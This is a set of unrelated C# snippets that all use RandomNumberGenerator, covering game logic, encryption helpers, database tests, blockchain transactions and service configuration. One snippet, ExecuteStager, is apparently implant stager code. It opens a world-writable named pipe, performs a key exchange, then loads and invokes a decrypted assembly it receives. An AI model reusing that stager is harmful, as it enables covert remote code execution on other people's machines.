/// <summary> /// Initializes a new instance of the <see cref="ZmachineV1"/> class. /// </summary> /// <param name="frontEnd"> /// The zmachine front end. /// </param> /// <param name="story"> /// The story. /// </param> /// <param name="random"> /// The random number generator. /// </param> internal ZmachineV1(FrontEnd frontEnd, ImmutableArray<byte> story, IRandomNumberGenerator random) { this.frontEnd = frontEnd; this.memory = new Memory(story, this.FrontEnd); this.randomNumberGenerator = new RandomNumberGenerator(random); this.callStack = new CallStack(this.FrontEnd); }
// Use this for initialization void Start() { rng = RandomNumberGenerator.Create (); foreach (var go in GameObject.FindGameObjectsWithTag("Obstacle")) { SetRandomPos(go.transform); } }
public RouletteTable(int maxChipsOnTable, RandomNumberGenerator generator, Timer timer, WalletService walletService) { this.maxChipsOnTable = maxChipsOnTable; this.rng = generator; this.timer = timer; this.walletService = walletService; }
public SuperRandom() { //Defines the random number rn = RandomNumberGenerator.Create(); }
public static void GetRandomBytes(byte[] bytes) { RandomNumberGenerator.Create().GetBytes(bytes); }
public override void GenerateIV() { byte[] iv = new byte[BlockSize / BitsPerByte]; RandomNumberGenerator.Fill(iv); IV = iv; }
public void CertificateAndMasterKeyExecTest() { string script; IDictionary <string, string> customSettings = new ConcurrentDictionary <string, string>(); var keyPath = Path.Combine(Path.GetTempPath(), Guid.NewGuid().ToString()); var buffer = new byte[256 / 8]; using (var cryptoRandom = new RNGCryptoServiceProvider()) { cryptoRandom.GetBytes(buffer); } File.WriteAllBytes(keyPath, buffer); var certPath = GenerateAndSaveSelfSignedCertificate(); if (PlatformDetails.RunningOnPosix) { var scriptPath = Path.Combine(Path.GetTempPath(), Path.ChangeExtension(Guid.NewGuid().ToString(), ".sh")); var keyArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { scriptPath, keyPath }); var certArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { scriptPath, certPath }); customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExec)] = "bash"; customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExecArguments)] = $"{keyArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateExec)] = "bash"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateExecArguments)] = $"{certArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Core.ServerUrls)] = "https://" + Environment.MachineName + ":0"; script = "#!/bin/bash\ncat \"$1\""; File.WriteAllText(scriptPath, script); Process.Start("chmod", $"700 {scriptPath}"); } else { var scriptPath = Path.Combine(Path.GetTempPath(), Path.ChangeExtension(Guid.NewGuid().ToString(), ".ps1")); var keyArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { "-NoProfile", scriptPath, keyPath }); var certArgs = CommandLineArgumentEscaper.EscapeAndConcatenate(new List <string> { "-NoProfile", scriptPath, certPath }); customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.MasterKeyExecArguments)] = $"{keyArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateExec)] = "powershell"; customSettings[RavenConfiguration.GetKey(x => x.Security.CertificateExecArguments)] = $"{certArgs}"; customSettings[RavenConfiguration.GetKey(x => x.Core.ServerUrls)] = "https://" + Environment.MachineName + ":0"; script = @"param([string]$userArg) try { $bytes = Get-Content -path $userArg -encoding Byte $stdout = [System.Console]::OpenStandardOutput() $stdout.Write($bytes, 0, $bytes.Length) } catch { Write-Error $_.Exception exit 1 } exit 0"; File.WriteAllText(scriptPath, script); } UseNewLocalServer(customSettings: customSettings, runInMemory: false); // The master key loading is lazy, let's put a database secret key to invoke it. var dbName = GetDatabaseName(); var databaseKey = new byte[32]; using (var rand = RandomNumberGenerator.Create()) { rand.GetBytes(databaseKey); } var base64Key = Convert.ToBase64String(databaseKey); // sometimes when using `dotnet xunit` we get platform not supported from ProtectedData try { ProtectedData.Protect(Encoding.UTF8.GetBytes("Is supported?"), null, DataProtectionScope.CurrentUser); } catch (PlatformNotSupportedException) { return; } Server.ServerStore.PutSecretKey(base64Key, dbName, true); X509Certificate2 serverCertificate; try { serverCertificate = new X509Certificate2(certPath, (string)null, X509KeyStorageFlags.Exportable | X509KeyStorageFlags.MachineKeySet); } catch (CryptographicException e) { throw new CryptographicException($"Failed to load the test certificate from {certPath}.", e); } using (var store = GetDocumentStore(new Options { AdminCertificate = serverCertificate, ClientCertificate = serverCertificate, ModifyDatabaseName = s => dbName, ModifyDatabaseRecord = record => record.Encrypted = true, Path = NewDataPath() })) { } var secrets = Server.ServerStore.Secrets; var serverMasterKey = (Lazy <byte[]>) typeof(SecretProtection).GetField("_serverMasterKey", BindingFlags.NonPublic | BindingFlags.Instance).GetValue(secrets); Assert.True(serverMasterKey.Value.SequenceEqual(buffer)); Assert.True(Server.Certificate.Certificate.Equals(serverCertificate)); }
/// <summary> /// Initialize the setup /// </summary> /// <param name="mode">The mode to prepare for</param> /// <param name="password">The password used to encrypt or decrypt</param> /// <param name="iv">The IV used, set to null if encrypting</param> public SetupHelper(OperationMode mode, string password, byte[] iv) { m_crypt = SymmetricAlgorithm.Create(CRYPT_ALGORITHM); //Not sure how to insert this with the CRYPT_ALGORITHM string m_crypt.Padding = PaddingMode.None; m_crypt.Mode = CipherMode.CBC; m_hash = HashAlgorithm.Create(HASH_ALGORITHM); m_rand = RandomNumberGenerator.Create(/*RAND_ALGORITHM*/); m_hmac = HMAC.Create(HMAC_ALGORITHM); if (mode == OperationMode.Encrypt) { m_iv1 = GenerateIv1(); m_aesKey1 = GenerateAESKey1(EncodePassword(password)); m_iv2 = GenerateIv2(); m_aesKey2 = GenerateAESKey2(); } else { m_iv1 = iv; m_aesKey1 = GenerateAESKey1(EncodePassword(password)); } }
///<summary> /// Creates an instance of the default implementation of a cryptographic random number generator that can be used to generate random data. ///</summary> public CryptoRandom() { r = RandomNumberGenerator.Create(); }
private static byte[] GetRandomBuffer(int expectedLen) { byte[] buffer = new byte[expectedLen]; RandomNumberGenerator.Create().GetBytes(buffer); return(buffer); }
private void btnUseWeapon_Click(object sender, EventArgs e) { // Get the currently selected weapon from the cboWeapons ComboBox Weapon currentWeapon = (Weapon)cboWeapons.SelectedItem; // Determine the amount of damage to do to the monster int damageToMonster = RandomNumberGenerator.NumberBetween(currentWeapon.MinimumDamage, currentWeapon.MaximumDamage); // Apply the damage to the monster's CurrentHitPoints _currentMonster.CurrentHitPoints -= damageToMonster; // Display message rtbMessages.Text += "You hit the " + _currentMonster.Name + " for " + damageToMonster.ToString() + " points." + Environment.NewLine; // Check if the monster is dead if (_currentMonster.CurrentHitPoints <= 0) { // Monster is dead rtbMessages.Text += Environment.NewLine; rtbMessages.Text += "You defeated the " + _currentMonster.Name + Environment.NewLine; // Give player experience points for killing the monster _player.ExperiencePoints += _currentMonster.RewardExperiencePoints; rtbMessages.Text += "You receive " + _currentMonster.RewardExperiencePoints.ToString() + " experience points" + Environment.NewLine; // Give player gold for killing the monster _player.Gold += _currentMonster.RewardGold; rtbMessages.Text += "You receive " + _currentMonster.RewardGold.ToString() + " gold" + Environment.NewLine; // Get random loot items from the monster List <InventoryItem> lootedItems = new List <InventoryItem>(); // Add items to the lootedItems list, comparing a random number to the drop percentage foreach (LootItem lootItem in _currentMonster.LootTable) { if (RandomNumberGenerator.NumberBetween(1, 100) <= lootItem.DropPercentage) { lootedItems.Add(new InventoryItem(lootItem.Details, 1)); } } // If no items were randomly selected, then add the default loot item(s). if (lootedItems.Count == 0) { foreach (LootItem lootItem in _currentMonster.LootTable) { if (lootItem.IsDefaultItem) { lootedItems.Add(new InventoryItem(lootItem.Details, 1)); } } } // Add the looted items to the player's inventory foreach (InventoryItem inventoryItem in lootedItems) { _player.AddItemToInventory(inventoryItem.Details); if (inventoryItem.Quantity == 1) { rtbMessages.Text += "You loot " + inventoryItem.Quantity.ToString() + " " + inventoryItem.Details.Name + Environment.NewLine; } else { rtbMessages.Text += "You loot " + inventoryItem.Quantity.ToString() + " " + inventoryItem.Details.NamePlural + Environment.NewLine; } } UpdatePlayerStats(); UpdateInventoryListInUI(); UpdateWeaponListInUI(); UpdatePotionListInUI(); // Add a blank line to the messages box, just for appearance. rtbMessages.Text += Environment.NewLine; // Move player to current location (to heal player and create a new monster to fight) MoveTo(_player.CurrentLocation); } else { // Monster is still alive // Determine the amount of damage the monster does to the player int damageToPlayer = RandomNumberGenerator.NumberBetween(0, _currentMonster.MaximumDamage); // Display message rtbMessages.Text += "The " + _currentMonster.Name + " did " + damageToPlayer.ToString() + " points of damage." + Environment.NewLine; // Subtract damage from player _player.CurrentHitPoints -= damageToPlayer; // Refresh player data in UI lblHitPoints.Text = _player.CurrentHitPoints.ToString(); if (_player.CurrentHitPoints <= 0) { // Display message rtbMessages.Text += "The " + _currentMonster.Name + " killed you." + Environment.NewLine; // Move player to "Home" MoveTo(World.LocationByID(World.LOCATION_ID_HOME)); } } ScrollToBottomOfMessages(); }
public unsafe void EncryptDecrypt_AesCcm() { var random = new Random(); using (var provider = BCryptOpenAlgorithmProvider(AlgorithmIdentifiers.BCRYPT_AES_ALGORITHM)) { BCryptSetProperty(provider, PropertyNames.BCRYPT_CHAINING_MODE, ChainingModes.Ccm); byte[] plainText; byte[] cipherText; var nonceBuffer = new byte[12]; random.NextBytes(nonceBuffer); var tagLengths = BCryptGetProperty <BCRYPT_AUTH_TAG_LENGTHS_STRUCT>(provider, PropertyNames.BCRYPT_AUTH_TAG_LENGTH); var tagBuffer = new byte[tagLengths.dwMaxLength]; int blockSize = BCryptGetProperty <int>(provider, PropertyNames.BCRYPT_BLOCK_LENGTH); plainText = new byte[blockSize]; random.NextBytes(plainText); byte[] keyMaterial = new byte[blockSize]; RandomNumberGenerator.Create().GetBytes(keyMaterial); using (var key = BCryptGenerateSymmetricKey(provider, keyMaterial)) { var authInfo = BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO.Create(); fixed(byte *pTagBuffer = tagBuffer) fixed(byte *pNonce = nonceBuffer) { authInfo.pbNonce = pNonce; authInfo.cbNonce = nonceBuffer.Length; authInfo.pbTag = pTagBuffer; authInfo.cbTag = tagBuffer.Length; // Mix up calling the IntPtr and native pointer overloads so we test both. int cipherTextLength; BCryptEncrypt(key, plainText, plainText.Length, &authInfo, null, 0, null, 0, out cipherTextLength, BCryptEncryptFlags.None).ThrowOnError(); cipherText = new byte[cipherTextLength]; BCryptEncrypt(key, plainText, plainText.Length, &authInfo, null, 0, cipherText, cipherText.Length, out cipherTextLength, BCryptEncryptFlags.None).ThrowOnError(); } Assert.NotEqual <byte>(plainText, cipherText); } // Renew the key to prove we can decrypt it with a fresh key. using (var key = BCryptGenerateSymmetricKey(provider, keyMaterial)) { byte[] decryptedText; var authInfo = BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO.Create(); fixed(byte *pTagBuffer = tagBuffer) fixed(byte *pNonce = nonceBuffer) { authInfo.pbNonce = pNonce; authInfo.cbNonce = nonceBuffer.Length; authInfo.pbTag = pTagBuffer; authInfo.cbTag = tagBuffer.Length; int plainTextLength; BCryptDecrypt(key, cipherText, cipherText.Length, &authInfo, null, 0, null, 0, out plainTextLength, BCryptEncryptFlags.None).ThrowOnError(); decryptedText = new byte[plainTextLength]; BCryptEncrypt(key, cipherText, cipherText.Length, &authInfo, null, 0, decryptedText, decryptedText.Length, out plainTextLength, BCryptEncryptFlags.None).ThrowOnError(); Array.Resize(ref decryptedText, plainTextLength); } Assert.Equal <byte>(plainText, decryptedText); } } }
///<summary> /// Creates an instance of the default implementation of a cryptographic random number generator that can be used to generate random data. ///</summary> public CryptoRandom() { _random = Create(); }
private static void GetBytes_InvalidArgs(RandomNumberGenerator rng) { Assert.Throws<ArgumentNullException>("data", () => rng.GetBytes(null, 0, 0)); Assert.Throws<ArgumentOutOfRangeException>("offset", () => rng.GetBytes(Array.Empty<byte>(), -1, 0)); Assert.Throws<ArgumentOutOfRangeException>("count", () => rng.GetBytes(Array.Empty<byte>(), 0, -1)); Assert.Throws<ArgumentException>(() => rng.GetBytes(Array.Empty<byte>(), 0, 1)); // GetBytes(null) covered in test NullInput() }
/// <summary> /// Disposes all members /// </summary> public void Dispose() { if (m_crypt != null) { if (m_aesKey1 != null) Array.Clear(m_aesKey1, 0, m_aesKey1.Length); if (m_iv1 != null) Array.Clear(m_iv1, 0, m_iv1.Length); if (m_aesKey2 != null) Array.Clear(m_aesKey2, 0, m_aesKey2.Length); if (m_iv2 != null) Array.Clear(m_iv2, 0, m_iv2.Length); m_aesKey1 = null; m_iv1 = null; m_aesKey2 = null; m_iv2 = null; m_hash = null; m_hmac = null; m_rand = null; m_crypt = null; } }
public CryptoApiRandomGenerator(RandomNumberGenerator rng) { this.rndProv = rng; }
public static string Generate(int length) { return(new string (Enumerable.Range(1, length).Select(_ => chars[RandomNumberGenerator.GetInt32(chars.Length)]).ToArray())); }
public override int GetHashCode() { int hCode = this.ToString().Length + RandomNumberGenerator.Uniform(1, 100); return(hCode.GetHashCode()); }
private void C_Rand(string args) { string[] parts = Chop(args); string key = parts[0]; string fmt = parts.Length > 1 ? parts[1] : "0"; int min = parts.Length > 2 ? int.Parse(parts[2]) : 0; int max = parts.Length > 3 ? 1 + int.Parse(parts[3]) : 10; int seed = parts.Length > 4 ? int.Parse(parts[4]) : 0; _NumberGenerators[key] = new RandomNumberGenerator(fmt, min, max, seed).GetEnumerator(); }
public int GetHashCode(EmailAddress obj) { int hCode = obj.Value.Length + RandomNumberGenerator.Uniform(1, 100); return(hCode.GetHashCode()); }
internal static long GetEntropy() { lock (lockObj) { long ret; if (currentIndex == bufferSize) { if (null == rng) { rng = RandomNumberGenerator.Create(); data = new byte[bufferSize]; Debug.Assert(bufferSize % 8 == 0, "We increment our current index by 8, so our buffer size must be a multiple of 8"); } rng.GetBytes(data); currentIndex = 0; } ret = BitConverter.ToInt64(data, currentIndex); currentIndex += 8; return ret; } }
public static bool IsProbablePrime(BigInteger source, int certainty = 160) { if (source == 2 || source == 3) { return(true); } if (source < 2 || source % 2 == 0) { return(false); } var d = source - 1; var s = 0; while (d % 2 == 0) { d /= 2; s += 1; } // There is no built-in method for generating random BigInteger values. // Instead, random BigIntegers are constructed from randomly generated // byte arrays of the same length as the source. var rng = RandomNumberGenerator.Create(); var bytes = new byte[source.ToByteArray().LongLength]; BigInteger a; for (var i = 0; i < certainty; i++) { do { rng.GetBytes(bytes); a = new BigInteger(bytes); } while (a < 2 || a >= source - 2); var x = BigInteger.ModPow(a, d, source); if (x == 1 || x == source - 1) { continue; } for (var r = 1; r < s; r++) { x = BigInteger.ModPow(x, 2, source); if (x == 1) { return(false); } if (x == source - 1) { break; } } if (x != source - 1) { return(false); } } return(true); }
private static RandomUuidFactory CreateTestInstance() { return(new RandomUuidFactory(new SystemCryptographicRandom(RandomNumberGenerator.Create()))); }
public void ExecuteStager() { try { string ProfileWriteFormat = @"{{REPLACE_PROFILE_WRITE_FORMAT}}".Replace(Environment.NewLine, "\n"); string ProfileReadFormat = @"{{REPLACE_PROFILE_READ_FORMAT}}".Replace(Environment.NewLine, "\n"); string PipeName = @"{{REPLACE_PIPE_NAME}}"; string aGUID = @"{{REPLACE_GRUNT_GUID}}"; string GUID = Guid.NewGuid().ToString().Replace("-", "").Substring(0, 10); byte[] SetupKeyBytes = Convert.FromBase64String(@"{{REPLACE_GRUNT_SHARED_SECRET_PASSWORD}}"); string MessageFormat = @"{{""GUID"":""{0}"",""Type"":{1},""Meta"":""{2}"",""IV"":""{3}"",""EncryptedMessage"":""{4}"",""HMAC"":""{5}""}}"; Aes SetupAESKey = Aes.Create(); SetupAESKey.Mode = CipherMode.CBC; SetupAESKey.Padding = PaddingMode.PKCS7; SetupAESKey.Key = SetupKeyBytes; SetupAESKey.GenerateIV(); HMACSHA256 hmac = new HMACSHA256(SetupKeyBytes); RSACryptoServiceProvider rsa = new RSACryptoServiceProvider(2048, new CspParameters()); byte[] RSAPublicKeyBytes = Encoding.UTF8.GetBytes(rsa.ToXmlString(false)); byte[] EncryptedRSAPublicKey = SetupAESKey.CreateEncryptor().TransformFinalBlock(RSAPublicKeyBytes, 0, RSAPublicKeyBytes.Length); byte[] hash = hmac.ComputeHash(EncryptedRSAPublicKey); string Stage0Body = String.Format(MessageFormat, aGUID + GUID, "0", "", Convert.ToBase64String(SetupAESKey.IV), Convert.ToBase64String(EncryptedRSAPublicKey), Convert.ToBase64String(hash)); string transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage0Body)); NamedPipeServerStream pipe = null; string Stage0Response = ""; PipeSecurity ps = new PipeSecurity(); ps.AddAccessRule(new PipeAccessRule(new SecurityIdentifier(WellKnownSidType.WorldSid, null), PipeAccessRights.FullControl, AccessControlType.Allow)); pipe = new NamedPipeServerStream(PipeName, PipeDirection.InOut, NamedPipeServerStream.MaxAllowedServerInstances, PipeTransmissionMode.Byte, PipeOptions.Asynchronous, 1024, 1024, ps); pipe.WaitForConnection(); System.Threading.Thread.Sleep(5000); var Stage0Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID)); Write(pipe, Stage0Bytes); Stage0Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", ""); string extracted = Parse(Stage0Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); List <string> parsed = Parse(extracted, MessageFormat); string iv64str = parsed[3]; string message64str = parsed[4]; string hash64str = parsed[5]; byte[] messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SetupAESKey.IV = Convert.FromBase64String(iv64str); byte[] PartiallyDecrypted = SetupAESKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] FullyDecrypted = rsa.Decrypt(PartiallyDecrypted, true); Aes SessionKey = Aes.Create(); SessionKey.Mode = CipherMode.CBC; SessionKey.Padding = PaddingMode.PKCS7; SessionKey.Key = FullyDecrypted; SessionKey.GenerateIV(); hmac = new HMACSHA256(SessionKey.Key); byte[] challenge1 = new byte[4]; RandomNumberGenerator rng = RandomNumberGenerator.Create(); rng.GetBytes(challenge1); byte[] EncryptedChallenge1 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge1, 0, challenge1.Length); hash = hmac.ComputeHash(EncryptedChallenge1); string Stage1Body = String.Format(MessageFormat, GUID, "1", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge1), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage1Body)); string Stage1Response = ""; var Stage1Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID)); Write(pipe, Stage1Bytes); Stage1Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", ""); extracted = Parse(Stage1Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedChallenges = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); byte[] challenge1Test = new byte[4]; byte[] challenge2 = new byte[4]; Buffer.BlockCopy(DecryptedChallenges, 0, challenge1Test, 0, 4); Buffer.BlockCopy(DecryptedChallenges, 4, challenge2, 0, 4); if (Convert.ToBase64String(challenge1) != Convert.ToBase64String(challenge1Test)) { return; } SessionKey.GenerateIV(); byte[] EncryptedChallenge2 = SessionKey.CreateEncryptor().TransformFinalBlock(challenge2, 0, challenge2.Length); hash = hmac.ComputeHash(EncryptedChallenge2); string Stage2Body = String.Format(MessageFormat, GUID, "2", "", Convert.ToBase64String(SessionKey.IV), Convert.ToBase64String(EncryptedChallenge2), Convert.ToBase64String(hash)); transformedResponse = MessageTransform.Transform(Encoding.UTF8.GetBytes(Stage2Body)); string Stage2Response = ""; var Stage2Bytes = Encoding.UTF8.GetBytes(String.Format(ProfileWriteFormat, transformedResponse, GUID)); Write(pipe, Stage2Bytes); Stage2Response = Encoding.UTF8.GetString(Read(pipe)).Replace("\"", ""); extracted = Parse(Stage2Response, ProfileReadFormat)[0]; extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted)); parsed = Parse(extracted, MessageFormat); iv64str = parsed[3]; message64str = parsed[4]; hash64str = parsed[5]; messageBytes = Convert.FromBase64String(message64str); if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; } SessionKey.IV = Convert.FromBase64String(iv64str); byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length); Assembly gruntAssembly = Assembly.Load(DecryptedAssembly); gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { GUID, SessionKey, pipe, PipeName }); } catch (Exception e) { Console.Error.WriteLine(e.Message); } }
public static async Task <string> api_SendbatchTransaction(byte[] prikey, Hash160 schash, string methodname, params string[] subparam) { byte[] pubkey = ThinNeo.Helper.GetPublicKeyFromPrivateKey(prikey); string address = ThinNeo.Helper.GetAddressFromPublicKey(pubkey); byte[] data = null; using (ScriptBuilder sb = new ScriptBuilder()) { MyJson.JsonNode_Array array = new MyJson.JsonNode_Array(); byte[] randombytes = new byte[32]; using (RandomNumberGenerator rng = RandomNumberGenerator.Create()) { rng.GetBytes(randombytes); } BigInteger randomNum = new BigInteger(randombytes); sb.EmitPushNumber(randomNum); sb.Emit(ThinNeo.VM.OpCode.DROP); if (subparam != null && subparam.Length > 0) { for (var i = 0; i < subparam.Length; i++) { array.AddArrayValue(subparam[i]); } } sb.EmitParamJson(array); sb.EmitPushString(methodname); sb.EmitAppCall(schash); data = sb.ToArray(); } //MakeTran ThinNeo.Transaction tran = new ThinNeo.Transaction(); tran.version = 0;//0 or 1 tran.inputs = new ThinNeo.TransactionInput[0]; tran.outputs = new ThinNeo.TransactionOutput[0]; tran.type = ThinNeo.TransactionType.InvocationTransaction; tran.extdata = new ThinNeo.InvokeTransData(); var idata = new ThinNeo.InvokeTransData(); tran.extdata = idata; idata.script = data; idata.gas = 0; tran.attributes = new ThinNeo.Attribute[1]; tran.attributes[0] = new ThinNeo.Attribute(); tran.attributes[0].usage = ThinNeo.TransactionAttributeUsage.Script; tran.attributes[0].data = ThinNeo.Helper.GetPublicKeyHashFromAddress(address); //sign and broadcast byte[] source = tran.GetMessage(); Console.WriteLine(ThinNeo.Helper.Bytes2HexString(source)); var signdata = ThinNeo.Helper.Sign(source, prikey); tran.AddWitness(signdata, pubkey, address); var trandata = tran.GetRawData(); var strtrandata = ThinNeo.Helper.Bytes2HexString(trandata); byte[] postdata; var url = Helper.MakeRpcUrlPost(Config.api, "sendrawtransaction", out postdata, new MyJson.JsonNode_ValueString(strtrandata)); var result = await Helper.HttpPost(url, postdata); return(result); }
public static byte[] GenerateRandom(int count) { byte[] buffer = new byte[count]; RandomNumberGenerator.Fill(buffer); return(buffer); }
public sealed override void GenerateKey() { byte[] key = new byte[KeySize / BitsPerByte]; RandomNumberGenerator.Fill(key); Key = key; }
static NetConfig() { ServerName = "Unnamed Server"; //#else Port = Application.DefaultPort; RconPort = 0; RemoteHostname = "localhost"; MaxConnections = 8; var bytes = new byte[8]; RandomNumberGenerator.Create().GetBytes(bytes); RconPassword = String.Join("", bytes.Select(x => x.ToString("x2")).ToArray()); var args = Environment.GetCommandLineArgs(); for (var i = 1; i < args.Length - 1; ++i) { switch (args[i]) { case "--client": IsClient = true; IsDefinedByCommandLine = true; break; case "--server": IsServer = true; IsDefinedByCommandLine = true; break; case "--port": int port; if (int.TryParse(args[++i], out port)) { Port = port; break; } Debug.LogErrorFormat("Invalid port '{0}'.", args[i]); break; case "--rcon-port": int rconPort; if (int.TryParse(args[++i], out rconPort)) { RconPort = rconPort; break; } RconPort = 0; Debug.LogErrorFormat("Invalid rcon port '{0}'.", args[i]); break; case "--rcon-password": RconPassword = args[++i]; break; case "--max-connections": int maxConnections; if (int.TryParse(args[++i], out maxConnections)) { MaxConnections = maxConnections; break; } Debug.LogErrorFormat("Invalid max connection count '{0}'.", args[i]); break; case "--hostname": RemoteHostname = args[++i]; break; case "--autoupdate": AutoUpdate = true; break; case "--update-check-url": UpdateCheckUrl = args[++i]; break; case "--notify-url": HangNotifyUrl = args[++i]; break; case "--initial-scene": InitialScene = args[++i]; break; } } #if UNITY_EDITOR RconPassword = "******"; ListenServer(Application.DefaultPort, Application.DefaultRconPort, 8); #endif }
internal RandomStringGenerator(RandomNumberGenerator random) => rng = random;
public RegistrationResponse HandleRequest(RegistrationRequest registrationRequest) { Guard.NotNull(nameof(registrationRequest), registrationRequest); var requested = registrationRequest.Requested ?? Enumerable.Empty <IssuanceRequest>(); var presented = registrationRequest.Presented ?? Enumerable.Empty <CredentialPresentation>(); var requestedCount = requested.Count(); if (requestedCount != NumberOfCredentials) { throw new WabiSabiException( WabiSabiErrorCode.InvalidNumberOfRequestedCredentials, $"{NumberOfCredentials} credential requests were expected but {requestedCount} were received."); } var presentedCount = presented.Count(); var requiredNumberOfPresentations = registrationRequest.IsNullRequest ? 0 : NumberOfCredentials; if (presentedCount != requiredNumberOfPresentations) { throw new WabiSabiException( WabiSabiErrorCode.InvalidNumberOfPresentedCredentials, $"{requiredNumberOfPresentations} credential presentations were expected but {presentedCount} were received."); } // Don't allow balance to go negative. In case this goes below zero // then there is a problem somewhere because this should not be possible. if (Balance + registrationRequest.DeltaAmount < Money.Zero) { throw new WabiSabiException(WabiSabiErrorCode.NegativeBalance); } // Check that the range proofs are of the appropriate bitwidth var rangeProofWidth = registrationRequest.IsNullRequest ? 0 : Constants.RangeProofWidth; var allRangeProofsAreCorrectSize = requested.All(x => x.BitCommitments.Count() == rangeProofWidth); if (!allRangeProofsAreCorrectSize) { throw new WabiSabiException(WabiSabiErrorCode.InvalidBitCommitment); } // Check all the serial numbers are unique. Note that this is checked separately from // ensuring that they haven't been used before, because even presenting a previously // unused credential more than once in the same request is still a double spend. if (registrationRequest.AreThereDuplicatedSerialNumbers) { throw new WabiSabiException(WabiSabiErrorCode.SerialNumberDuplicated); } var statements = new List <Statement>(); foreach (var presentation in presented) { // Calculate Z using coordinator secret. var Z = presentation.ComputeZ(CoordinatorSecretKey); // Add the credential presentation to the statements to be verified. statements.Add(ProofSystem.ShowCredentialStmt(presentation, Z, CoordinatorParameters)); // Check if the serial numbers have been used before. Note that // the serial numbers have not yet been verified at this point, but a // request with an invalid proof and a used serial number should also be // rejected. if (SerialNumbers.Contains(presentation.S)) { throw new WabiSabiException(WabiSabiErrorCode.SerialNumberAlreadyUsed, $"Serial number reused {presentation.S}"); } } foreach (var credentialRequest in requested) { statements.Add(registrationRequest.IsNullRequest ? ProofSystem.ZeroProofStmt(credentialRequest.Ma) : ProofSystem.RangeProofStmt(credentialRequest.Ma, credentialRequest.BitCommitments)); } // Balance proof if (!registrationRequest.IsNullRequest) { var sumCa = presented.Select(x => x.Ca).Sum(); var sumMa = requested.Select(x => x.Ma).Sum(); // A positive Delta_a means the requested credential amounts are larger // than the presented ones (i.e. input registration, and a negative // balance correspond to output registration). The equation requires a // commitment to 0, so the sum of the presented attributes and the // negated requested attributes are tweaked by delta_a. var absAmountDelta = new Scalar(registrationRequest.DeltaAmount.Abs()); var deltaA = registrationRequest.DeltaAmount < Money.Zero ? absAmountDelta.Negate() : absAmountDelta; var balanceTweak = deltaA * Generators.Gg; statements.Add(ProofSystem.BalanceProofStmt(balanceTweak + sumCa - sumMa)); } var transcript = BuildTransnscript(registrationRequest.IsNullRequest); // Verify all statements. var areProofsValid = ProofSystem.Verify(transcript, statements, registrationRequest.Proofs); if (!areProofsValid) { throw new WabiSabiException(WabiSabiErrorCode.CoordinatorReceivedInvalidProofs); } // Issue credentials. var credentials = requested.Select(x => IssueCredential(x.Ma, RandomNumberGenerator.GetScalar())).ToArray(); // Construct response. var proofs = ProofSystem.Prove(transcript, credentials.Select(x => x.Knowledge), RandomNumberGenerator); var macs = credentials.Select(x => x.Mac); var response = new RegistrationResponse(macs, proofs); // Register the serial numbers to prevent credential reuse. foreach (var presentation in presented) { SerialNumbers.Add(presentation.S); } Balance += registrationRequest.DeltaAmount; return(response); }
// This method gets called by the runtime. Use this method to add services to the container. public void ConfigureServices(IServiceCollection services) { // Add services services.AddTransient <IDateTime, ApplicationDateTime>(); services.AddTransient <IAccountService, AccountService>(); services.AddTransient <IShortLinkService, ShortLinkService>(); services.AddSingleton <IFileService, FileService>(serviceProvider => { var driveFolder = Configuration["DriveFolder"]; return(new FileService(driveFolder)); }); // Add external services services.AddSingleton <SHA256, SHA256Managed>(); services.AddSingleton(RandomNumberGenerator.Create()); // Add MediatR services.AddTransient(typeof(IPipelineBehavior <,>), typeof(RequestPreProcessorBehavior <,>)); services.AddMediatR(typeof(GetFileListQueryHandler).GetTypeInfo().Assembly); // Add DbContext using SQL Server Provider services.AddDbContext <GhostDriveDbContext>(options => options.UseSqlServer(Configuration.GetConnectionString("GhostDriveDatabase"))); // Add Cookie Authentication services.AddAuthentication(CookieAuthenticationDefaults.AuthenticationScheme) .AddCookie(options => { options.LoginPath = new PathString("/Account/Login"); }); services.Configure <CookiePolicyOptions>(options => { // This lambda determines whether user consent for non-essential cookies is needed for a given request. options.CheckConsentNeeded = context => true; options.MinimumSameSitePolicy = SameSiteMode.None; }); services.AddLocalization(options => options.ResourcesPath = "Resources"); services.AddMvc() .AddDataAnnotationsLocalization(options => { options.DataAnnotationLocalizerProvider = (type, factory) => factory.Create(typeof(SharedResources)); 